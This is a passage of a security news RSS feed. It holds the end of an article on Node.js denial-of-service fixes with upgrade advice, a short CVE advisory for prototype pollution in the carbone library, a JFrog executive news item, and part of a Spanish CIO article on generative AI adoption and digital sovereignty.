<li data-start="4118" data-end="4167"><strong data-start="4118" data-end="4136">CVE-2025-55131</strong> – Data leakage or corruption</li>
<li data-start="4170" data-end="4247"><strong data-start="4170" data-end="4188">CVE-2025-55130</strong> – Arbitrary file read via crafted relative symlink paths</li>
<li data-start="4250" data-end="4297"><strong data-start="4250" data-end="4268">CVE-2025-59465</strong> – Remote denial-of-service</li>
</ul>
<hr data-start="4299" data-end="4302">
<h2 data-start="4304" data-end="4326"><strong>Recommended Actions</strong></h2>
<p data-start="4328" data-end="4393">Given the scale of impact, Node.js users are strongly advised to:</p>
<ul>
<li data-start="4397" data-end="4451"><strong data-start="4397" data-end="4420">Upgrade immediately</strong> to a patched Node.js version</li>
<li data-start="4454" data-end="4519">Audit applications for <strong data-start="4477" data-end="4519">unbounded or user-controlled recursion</strong></li>
<li data-start="4522" data-end="4577">Apply additional safeguards in frameworks and libraries</li>
<li data-start="4580" data-end="4646">Ensure production systems are not running <strong data-start="4622" data-end="4646">EoL Node.js releases</strong></li>
</ul>
<p data-start="4648" data-end="4776">For organizations relying on React, Next.js, or APM tooling, the update is particularly urgent to avoid trivial service crashes.</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_13 see-also-text  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><p><strong>Trending: <a href="https://www.blackhatethicalhacking.com/news/actively-exploited-d-link-router-flaw-enables-unauthenticated-remote-code-execution/" target="_blank" rel="noopener noreferrer">Actively Exploited D-Link Router Flaw Enables Unauthenticated Remote Code Execution<br>
</a></strong></p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_14  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><blockquote><p><em>Are u a security researcher? Or a company that writes articles about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing? </em><em>If you want to express your idea in an article contact us here for a quote: <strong>info@blackhatethicalhacking.com</strong></em></p></blockquote></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_15  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><p><strong><em>Sources: thehackernews.com</em></strong></p>
<p><a href="https://thehackernews.com/2026/01/critical-nodejs-vulnerability-can-cause.html" target="_blank" rel="noopener"><strong>Source Link</strong></a></p></div>
			</div><div class="et_pb_module et_pb_divider et_pb_divider_1 et_pb_divider_position_ et_pb_space"><div class="et_pb_divider_internal"></div></div><div class="et_pb_module et_pb_image et_pb_image_1 store-img">
				
				
				
				
				<a href="https://store.blackhatethicalhacking.com/" target="_blank"><span class="et_pb_image_wrap "><img decoding="async" width="1142" height="500" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Store.png" alt="Merch" title="Store" srcset="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Store.png 1142w, https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Store-980x429.png 980w, https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Store-480x210.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1142px, 100vw" class="wp-image-271829"></span></a>
			</div><div class=" et_pb_logo_slider  et_pb_logo_slider_0 ">
                
            </div>
			</div>
				
				
				
				
			</div>
			</div><div class="et_pb_column et_pb_column_1_4 et_pb_column_1    et_pb_css_mix_blend_mode_passthrough">
				
				
				
				
				<div class="et_pb_module et_pb_sidebar_0 news-sidebar1 et_pb_widget_area clearfix et_pb_widget_area_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_widget rpwe_widget recent-posts-extended"><h4 class="widgettitle">Recent News</h4><div class="rpwe-block news-recent-posts-sb"><ul class="rpwe-ul"><li class="rpwe-li rpwe-clearfix"><a class="rpwe-img" href="https://www.blackhatethicalhacking.com/news/actively-exploited-d-link-router-flaw-enables-unauthenticated-remote-code-execution/" target="_self"><img class="rpwe-aligncenter rpwe-thumb" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2026/01/877x440-Images-for-the-News-posts-36-300x150.png" alt="Actively Exploited D-Link Router Flaw Enables Unauthenticated Remote Code Execution" height="150" width="300" loading="lazy" decoding="async"></a><h3 class="rpwe-title"><a href="https://www.blackhatethicalhacking.com/news/actively-exploited-d-link-router-flaw-enables-unauthenticated-remote-code-execution/" target="_self">Actively Exploited D-Link Router Flaw Enables Unauthenticated Remote Code Execution</a></h3><time class="rpwe-time published" datetime="2026-01-07T13:48:28+02:00">January 7, 2026</time><div class="rpwe-summary"></div></li><li class="rpwe-li rpwe-clearfix"><a class="rpwe-img" href="https://www.blackhatethicalhacking.com/news/kali-linux-2025-4-released-with-3-new-tools-desktop-overhauls-and-halloween-mode/" target="_self"><img class="rpwe-aligncenter rpwe-thumb" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2025/12/877x440-Images-for-the-News-posts-34-300x150.png" alt="Kali Linux 2025.4 Released With 3 new tools, Desktop Overhauls, and Halloween Mode" height="150" width="300" loading="lazy" decoding="async"></a><h3 class="rpwe-title"><a href="https://www.blackhatethicalhacking.com/news/kali-linux-2025-4-released-with-3-new-tools-desktop-overhauls-and-halloween-mode/" target="_self">Kali Linux 2025.4 Released With 3 new tools, Desktop Overhauls, and Halloween Mode</a></h3><time class="rpwe-time published" datetime="2025-12-16T12:33:50+02:00">December 16, 2025</time><div class="rpwe-summary"></div></li><li class="rpwe-li rpwe-clearfix"><a class="rpwe-img" href="https://www.blackhatethicalhacking.com/news/new-phishing-kits-automate-mfa-bypass-ai-email-lures-and-bank-credential-theft-at-scale/" target="_self"><img class="rpwe-aligncenter rpwe-thumb" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2025/12/877x440-Images-for-the-News-posts-33-300x150.png" alt="New Phishing Kits Automate MFA Bypass, AI Email Lures, and Bank Credential Theft at Scale" height="150" width="300" loading="lazy" decoding="async"></a><h3 class="rpwe-title"><a href="https://www.blackhatethicalhacking.com/news/new-phishing-kits-automate-mfa-bypass-ai-email-lures-and-bank-credential-theft-at-scale/" target="_self">New Phishing Kits Automate MFA Bypass, AI Email Lures, and Bank Credential Theft at Scale</a></h3><time class="rpwe-time published" datetime="2025-12-15T11:53:36+02:00">December 15, 2025</time><div class="rpwe-summary"></div></li><li class="rpwe-li rpwe-clearfix"><a class="rpwe-img" href="https://www.blackhatethicalhacking.com/news/malicious-vs-code-extensions-infect-developers-with-infostealers-and-session-hijackers/" target="_self"><img class="rpwe-aligncenter rpwe-thumb" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2025/12/877x440-Images-for-the-News-posts-32-300x150.png" alt="Malicious VS Code Extensions Infect Developers With Infostealers and Session Hijackers" height="150" width="300" loading="lazy" decoding="async"></a><h3 class="rpwe-title"><a href="https://www.blackhatethicalhacking.com/news/malicious-vs-code-extensions-infect-developers-with-infostealers-and-session-hijackers/" target="_self">Malicious VS Code Extensions Infect Developers With Infostealers and Session Hijackers</a></h3><time class="rpwe-time published" datetime="2025-12-09T11:33:05+02:00">December 9, 2025</time><div class="rpwe-summary"></div></li></ul></div><!-- Generated by http://wordpress.org/plugins/recent-posts-widget-extended/ --></div><div class="et_pb_widget widget_block"><h3>EXPLORE OUR STORE</h3></div><div class="et_pb_widget widget_media_image"><a href="https://store.blackhatethicalhacking.com/"><img decoding="async" width="233" height="300" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2024/09/Tshirt-233x300.png" class="image wp-image-280999  attachment-medium size-medium" alt=""></a></div><div class="et_pb_widget widget_media_image"><a href="https://store.blackhatethicalhacking.com/"><img decoding="async" width="300" height="280" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2024/09/RedTeamers-e1725807706904-300x280.png" class="image wp-image-281001  attachment-medium size-medium" alt=""></a></div><div class="et_pb_widget widget_media_image"><a href="https://store.blackhatethicalhacking.com/"><img decoding="async" width="711" height="1024" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2024/09/Hoodie-711x1024.png" class="image wp-image-281002  attachment-large size-large" alt=""></a></div><div class="widget_text et_pb_widget widget_custom_html"><div class="textwidget custom-html-widget"> <!-- News Adsense Adcode --> <ins class="adsbygoogle" data-ad-client="ca-pub-6620833063853657" data-ad-slot="8337846400" data-ad-format="auto" data-full-width-responsive="true"></ins> </div></div>
			</div><div class="et_pb_module et_pb_sidebar_1 news-sidebar2 et_animated et_pb_widget_area clearfix et_pb_widget_area_left  et_pb_text_align_justified et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_widget widget_block"><a href="https://www.blackhatethicalhacking.com/courses/"><img decoding="async" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png"></a>
<h3>Offensive Security &amp; Ethical Hacking Course</h3>
<p>Begin the learning curve of hacking now!</p>
</div><div class="et_pb_widget widget_block"><hr>
<a href="https://www.blackhatethicalhacking.com/solutions/"><img decoding="async" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Solutions.png"></a>
<h3>Information Security Solutions</h3>
<p>Find out how Pentesting Services can help you.</p></div><div class="et_pb_widget widget_block"><hr>
<a href="https://discord.gg/EYMqveWXkv"><img decoding="async" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/10/Discord.png"></a>
<h3>Join our Community</h3></div>
			</div>
			</div>
				</div>
				
			</div>The post <a href="https://www.blackhatethicalhacking.com/news/node-js-fixes-critical-dos-flaw-that-could-crash-virtually-every-production-app/">Node.js Fixes Critical DoS Flaw That Could Crash “Virtually Every Production App”</a> first appeared on <a href="https://www.blackhatethicalhacking.com/">Black Hat Ethical Hacking</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-14020 | carboneio carbone up to fbcd349077ad0e8748be73eab2a82ea92b6f8a7e Formatter lib/input.js prototype pollution]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, was found in carboneio carbone up to fbcd349077ad0e8748be73eab2a82ea92b6f8a7e. This impacts an unknown function of the file lib/input.js of the component Formatter Handler. Executing a manipulation can lead to improperly controlled modificatio...]]></description>
<link>https://tsecurity.de/de/3199644/sicherheitsluecken/cve-2024-14020-carboneio-carbone-up-to-fbcd349077ad0e8748be73eab2a82ea92b6f8a7e-formatter-libinputjs-prototype-pollution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3199644/sicherheitsluecken/cve-2024-14020-carboneio-carbone-up-to-fbcd349077ad0e8748be73eab2a82ea92b6f8a7e-formatter-libinputjs-prototype-pollution/</guid>
<pubDate>Wed, 07 Jan 2026 14:07:08 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/?kb.risk">problematic</a>, was found in <a href="https://vuldb.com/?product.carboneio:carbone">carboneio carbone up to fbcd349077ad0e8748be73eab2a82ea92b6f8a7e</a>. This impacts an unknown function of the file <em>lib/input.js</em> of the component <em>Formatter Handler</em>. Executing a manipulation can lead to improperly controlled modification of object prototype attributes.

This vulnerability is tracked as <a href="https://vuldb.com/?source_cve.339503">CVE-2024-14020</a>. The attack can be launched remotely. No exploit exists.

You should upgrade the affected component.

A successful exploitation can "only occur if the parent NodeJS application has the same security issue".]]></content:encoded>
</item>
<item>
<title><![CDATA[JFrog names go-to-market veteran as new CMO]]></title>
<description><![CDATA[The experienced industry leader will lead JFrog’s global marketing activity as the firm enters its next growth phase]]></description>
<link>https://tsecurity.de/de/3197085/it-security-nachrichten/jfrog-names-go-to-market-veteran-as-new-cmo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3197085/it-security-nachrichten/jfrog-names-go-to-market-veteran-as-new-cmo/</guid>
<pubDate>Tue, 06 Jan 2026 11:20:17 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The experienced industry leader will lead JFrog’s global marketing activity as the firm enters its next growth phase]]></content:encoded>
</item>
<item>
<title><![CDATA[La soberanía digital, clave para acelerar el uso seguro de la IA generativa]]></title>
<description><![CDATA[¿Cómo adaptarse a los cambios que supone la irrupción de la inteligencia artificial generativa en el seno de las empresas? ¿Qué riesgos comporta en el día a día de las organizaciones? Para muchas de ellas, la IA generativa es “una ola” que nos está “pasando por encima”, a la que no es fácil adapt...]]></description>
<link>https://tsecurity.de/de/3168993/it-security-nachrichten/la-soberana-digital-clave-para-acelerar-el-uso-seguro-de-la-ia-generativa/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3168993/it-security-nachrichten/la-soberana-digital-clave-para-acelerar-el-uso-seguro-de-la-ia-generativa/</guid>
<pubDate>Fri, 19 Dec 2025 11:21:26 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div data-media-id="b9OUMcj0" data-title="resumen en vídeo de almuerzo ejecutivo Red Hat y Accenture" class="jwplayer"></div>


<p>¿Cómo adaptarse a los cambios que supone la irrupción de la inteligencia artificial generativa en el seno de las empresas? ¿Qué riesgos comporta en el día a día de las organizaciones? Para muchas de ellas, la IA generativa es “una ola” que nos está “pasando por encima”, a la que no es fácil adaptarse porque muchas veces llega “sin comprarla” y sin que desde la dirección se haya establecido un proceso claro de adaptación a los procesos productivos. De todo ello se habló en un almuerzo de trabajo organizado el pasado 11 de noviembre por <strong>CIO ESPAÑA</strong> con la colaboración de <strong>Red Hat </strong>y<strong> Accenture</strong>, que fue moderado por <strong>Fernando Muñoz</strong>, director del <a href="https://www.cio.com/es/executive-espana/">CIO Executive España</a> y en el que responsables tecnológicos de distintas organizaciones compartieron su punto de vista sobre estas herramientas y sobre el concepto de soberanía digital, cada vez más relevante para las compañías.</p>



<p><a href="https://www.cio.com/article/4059428/la-estrategia-tecnologica-detras-de-turingdream-la-startup-espanola-de-ia-agentiva-impulsada-por-los-fundadores-de-meta4.html"><strong>Manuel Tarrasa Sánchez</strong>, CIO y CTO de TuringDream</a>, apuntó tres grandes retos para la adopción de la inteligencia artificial generativa. “El primero —apuntó— viene desde arriba, porque el consejo de Administración ejerce presión para que se use la IA”. “El problema es que las empresas no encuentran gente que sea capaz de aunar conocimientos de IA y de negocio”, explicó. La solución a su juicio pasa por habilitar centros de competencia para formar los profesionales adecuados. “El segundo problema —prosiguió— es que la IA también llega desde abajo. Los empleados se dan cuenta de que puede ser un acelerador de su carrera y, aunque las empresas cierren el acceso a ChatGPT, los trabajadores lo llevan en el móvil”.   </p>



<p>El tercer problema, señaló, viene de las alucinaciones. Entre el 10 y el 30% de los modelos las sufre, aunque esto es algo que, en su opinión, se va a poder solucionar con las IA agentivas. El experto también apuntó otros de los grandes riesgos de instalar proyectos piloto, que la persona que lo haya instalado abandone la organización. “El mayor riesgo está en garantizar la continuidad del servicio”, remarcó.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1436.jpg?quality=50&amp;strip=all&amp;w=1024" alt="foto evento red hat accenture dic 2025" class="wp-image-4109429" srcset="https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1436.jpg?quality=50&amp;strip=all 6240w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1436.jpg?resize=300%2C200&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1436.jpg?resize=768%2C512&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1436.jpg?resize=1024%2C683&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1436.jpg?resize=1536%2C1024&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1436.jpg?resize=2048%2C1365&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1436.jpg?resize=1240%2C826&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1436.jpg?resize=150%2C100&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1436.jpg?resize=1046%2C697&amp;quality=50&amp;strip=all 1046w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1436.jpg?resize=252%2C168&amp;quality=50&amp;strip=all 252w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1436.jpg?resize=126%2C84&amp;quality=50&amp;strip=all 126w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1436.jpg?resize=720%2C480&amp;quality=50&amp;strip=all 720w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1436.jpg?resize=540%2C360&amp;quality=50&amp;strip=all 540w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1436.jpg?resize=375%2C250&amp;quality=50&amp;strip=all 375w" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Garpress | Foundry</p></div>



<p><strong>Emilio González</strong>, jefe de sistemas del Ayuntamiento de Alcorcón, advirtió de los peligros que entraña la ‘shadow AI’, el uso no autorizado de herramientas de inteligencia artificial dentro de una organización sin la supervisión del departamento de TI. “Tenemos que dar formación a personas para que no suban a la IA documentos confidenciales”, aseguró. “Con la IA somos superfuncionarios, pero el apartado de protección de datos persiste como el principal reto”, dijo González, quien apuntó también otro desafío: la rápida obsolescencia de las inversiones en IA.</p>



<p>De la protección de datos habló también <strong>Raquel Pardiñas</strong>, gerente de suministro y proveedores de TI de Atradius Crédito y Caución, quien señaló que, aunque la IA generativa sirve para ganar tiempo en tareas administrativas, muchas veces sus usuarios desconocen si están incumpliendo la Ley de Protección de Datos. “Es el principal desafío”, enfatizó.</p>



<p><strong>Ana Arredondo Macua,</strong> CIO de la Oficina Española de Patentes y Marcas, describió la situación la que se enfrenta una institución como la suya. “Un examinador de patentes puede tardar 18 meses en conceder una. La IA es muy útil para reducir este tiempo, pero el examinador tiene miedo a perder su trabajo, a no ser relevante”, relató. También habló de la necesidad de interoperabilidad, algo clave en una institución que comparte información y patentes con otros estados. “La fecha de una patente es crucial, por lo que el intercambio de información es imprescindible”, dijo tras señalar que la IA aporta una base de información para ser más eficiente.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1082.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Fernando Muñoz, director del CIO Executive de Foundry en España" class="wp-image-4107883" srcset="https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1082.jpg?quality=50&amp;strip=all 3924w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1082.jpg?resize=300%2C200&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1082.jpg?resize=768%2C512&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1082.jpg?resize=1024%2C683&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1082.jpg?resize=1536%2C1024&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1082.jpg?resize=2048%2C1365&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1082.jpg?resize=1240%2C826&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1082.jpg?resize=150%2C100&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1082.jpg?resize=1046%2C697&amp;quality=50&amp;strip=all 1046w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1082.jpg?resize=252%2C168&amp;quality=50&amp;strip=all 252w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1082.jpg?resize=126%2C84&amp;quality=50&amp;strip=all 126w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1082.jpg?resize=720%2C480&amp;quality=50&amp;strip=all 720w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1082.jpg?resize=540%2C360&amp;quality=50&amp;strip=all 540w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1082.jpg?resize=375%2C250&amp;quality=50&amp;strip=all 375w" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Fernando Muñoz, director del CIO Executive de Foundry en España.</strong></p>
</figcaption></figure><p class="imageCredit">Garpress | Foundry</p></div>



<h2 class="wp-block-heading">Propuesta de valor, no de riesgo</h2>



<p>Sobre todos estos desafíos, <strong>Julio Sánchez Miranda</strong>, líder de la práctica de Red Hat en Accenture para EMEA, fue contundente. “La inteligencia artificial se tiene que enfocar a valor, no a riesgo. Eso va a cambiar la narrativa”, dijo. “Hay que establecer claramente el objetivo, saber lo que quiero. Es una tecnología incipiente que si no pruebas y testeas no terminas de conocer”, añadió <strong>Mar Santos</strong>, directora de ventas corporativas de Red Hat. </p>



<p>Julio Sánchez introdujo también uno de los principales temas del debate: <strong>la soberanía digital.</strong> Sobre este punto, recordó que el 80% de los modelos funcionales de la IAG son americanos, un 15% chinos y solo un 5% europeos. “El concepto de soberanía es control, y hoy es un tema geopolítico”, remarcó. En su opinión, hay que tener claros los términos de contrato en los que se usa la IA y conocer qué empresas y cómo garantizan la protección de los datos. “Si usas datos personales de tus clientes en plataformas como ChatGPT puedes tener un problema”, advirtió.</p>



<p>En esa misma línea se expresó <strong>Nilley Gómez Rodíguez</strong>, líder de Data &amp; AI de Reale Seguros, quien explicó cómo su compañía ha cortado el acceso a ChatGPT para asegurar con un modelo propio de IA generativa el cumplimiento normativo. “Creamos un programa que pueda ser usado para el negocio, ofreciendo formación a los usuarios”, dijo tras subrayar que el principal desafío en los próximos meses será la generalización del uso de la IA agentiva. “Para el usuario tiene que ser transparente”, aseveró.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1356.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Mar Santos, directora de ventas corporativas de Red Hat" class="wp-image-4107889" srcset="https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1356.jpg?quality=50&amp;strip=all 3229w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1356.jpg?resize=300%2C200&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1356.jpg?resize=768%2C512&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1356.jpg?resize=1024%2C683&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1356.jpg?resize=1536%2C1024&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1356.jpg?resize=2048%2C1366&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1356.jpg?resize=1240%2C826&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1356.jpg?resize=150%2C100&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1356.jpg?resize=1045%2C697&amp;quality=50&amp;strip=all 1045w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1356.jpg?resize=252%2C168&amp;quality=50&amp;strip=all 252w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1356.jpg?resize=126%2C84&amp;quality=50&amp;strip=all 126w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1356.jpg?resize=720%2C480&amp;quality=50&amp;strip=all 720w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1356.jpg?resize=540%2C360&amp;quality=50&amp;strip=all 540w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1356.jpg?resize=375%2C250&amp;quality=50&amp;strip=all 375w" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Mar Santos, directora de ventas corporativas de Red Hat.</p>
</figcaption></figure><p class="imageCredit">Garpress | Foundry</p></div>



<p>Desde la Universidad Complutense de Madrid, <strong>José Arbues Bedia</strong>, director del Centro de Inteligencia Institucional, explicó cómo su institución trabaja en una triple vertiente, empleando IA para la docencia, la gestión y el análisis de datos. No obstante, apuntó su desconfianza en un modelo que, a su juicio, aún no vale por sí solo. “La IA generativa trabaja con modelos literales y cuenta muchas mentiras”, dijo.</p>



<p>“Estoy trabajando en no trabajar, pero aún es demasiado pronto para ello”, dijo tras subrayar que “la única palanca de cambio en la Administración es la transparencia”. En su opinión, es demasiado arriesgado tener una IA propia para la universidad. “Con SAP sí puedo garantizar unos resultados, pero no con la inteligencia artificial”, dijo.</p>



<p>Para <a href="https://www.cio.com/article/2088735/la-transformacion-del-tribunal-de-cuentas-la-constatacion-del-valor-del-apoyo-de-la-direccion-a-ti.html"><strong>Carlos Maza</strong>, director de Digitalización y Tecnologías de la Información del Tribunal de Cuentas</a>, los proyectos de IA los deberían pagar los departamentos de Recursos Humanos y Formación. “Ahora es el momento de conocer y aprender”, dijo, no sin antes señalar que la IA “está entrando sin comprarla” a través de muchas herramientas que ofrecen servicios incluidos en sus suscripciones.</p>



<h2 class="wp-block-heading">Soberanía digital: el papel de Europa</h2>



<p>Los asistentes analizaron también el lugar de Europa en un escenario donde la soberanía digital se ha convertido hoy en una prioridad política. “Determinar dónde reside el dato nos puede parecer una pregunta cómica, pero no lo es para el Derecho que nos regula”, dijo Carlos Maza, quien apuntó que, para una institución como el Tribunal de Cuentas, que maneja datos de terceros, la confidencialidad de los mismos es clave para el funcionamiento.</p>



<p>“Europa va lenta en IA. El enfoque será el correcto, pero no es competitivo, y sin recursos no estamos al nivel de otras regiones”, dijo Emilio González. Para Manuel Tarrasa, los principales problemas residen en la velocidad y la escala, que hacen que la distancia se agrande día a día. <strong>Pierre Pita</strong>, el director de ventas de TI de Atradius Crédito y Caución, apuntó una línea de actuación. “La legislación DORA nos obligó a hacer mucho trabajo, pero nos da una capa extra de seguridad”, dijo.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1266.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Julio Sánchez Miranda, líder de la práctica de Red Hat en Accenture para EMEA" class="wp-image-4107887" srcset="https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1266.jpg?quality=50&amp;strip=all 3965w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1266.jpg?resize=300%2C200&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1266.jpg?resize=768%2C512&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1266.jpg?resize=1024%2C683&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1266.jpg?resize=1536%2C1024&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1266.jpg?resize=2048%2C1365&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1266.jpg?resize=1240%2C826&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1266.jpg?resize=150%2C100&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1266.jpg?resize=1046%2C697&amp;quality=50&amp;strip=all 1046w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1266.jpg?resize=252%2C168&amp;quality=50&amp;strip=all 252w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1266.jpg?resize=126%2C84&amp;quality=50&amp;strip=all 126w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1266.jpg?resize=720%2C480&amp;quality=50&amp;strip=all 720w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1266.jpg?resize=540%2C360&amp;quality=50&amp;strip=all 540w, https://b2b-contenthub.com/wp-content/uploads/2025/12/GARPRESS-1266.jpg?resize=375%2C250&amp;quality=50&amp;strip=all 375w" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Garpress | Foundry</p></div>



